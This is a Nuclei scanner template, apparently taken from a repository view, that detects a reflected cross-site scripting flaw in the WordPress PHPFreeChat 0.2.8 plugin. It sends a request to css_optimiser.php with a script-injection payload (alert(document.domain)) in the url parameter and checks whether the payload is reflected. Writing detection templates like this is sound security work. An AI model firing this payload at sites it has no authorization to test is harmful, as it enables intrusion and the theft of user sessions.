nuclei-templates/http/vulnerabilities/wordpress/wp-phpfreechat-xss.yaml

52 lines
1.7 KiB
YAML
Raw Normal View History

2021-07-11 06:19:01 +00:00
id: wp-phpfreechat-xss
info:
name: WordPress PHPFreeChat 0.2.8 - Cross-Site Scripting
2021-07-11 06:19:01 +00:00
author: daffainfo
severity: high
description: WordPress PHPFreeChat 0.2.8 plugin contains a cross-site scripting vulnerability via the url parameter. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
reference:
- https://www.exploit-db.com/exploits/37485
- http://web.archive.org/web/20210120061848/https://www.securityfocus.com/bid/54332/info
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
cvss-score: 7.2
cwe-id: CWE-79
metadata:
max-request: 2
2023-10-14 11:27:55 +00:00
tags: xss,wp-plugin,edb,wordpress
2021-07-11 06:19:01 +00:00
2024-03-26 17:26:22 +00:00
flow: http(1) && http(2)
http:
2024-03-26 17:26:22 +00:00
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
internal: true
words:
- '/wp-content/plugins/phpfreechat/'
2021-07-11 06:19:01 +00:00
- method: GET
path:
2021-07-19 06:11:40 +00:00
- '{{BaseURL}}/wp-content/plugins/phpfreechat/lib/csstidy-1.2/css_optimiser.php?url=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
2021-07-11 06:19:01 +00:00
matchers-condition: and
matchers:
- type: word
words:
2021-07-19 06:11:40 +00:00
- "</script><script>alert(document.domain)</script>"
2021-07-11 06:19:01 +00:00
part: body
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 490a00463044022079b045d82955afa1019a07fce5cca3ee5b35e330d2f7c855f5fc0192300b793e02207176304b7bf0bb2c1a4a4ce1e077d3bdb641ecd72607f3a8234c0ff3be970abe:922c64590222798bb761d5b6d8e72950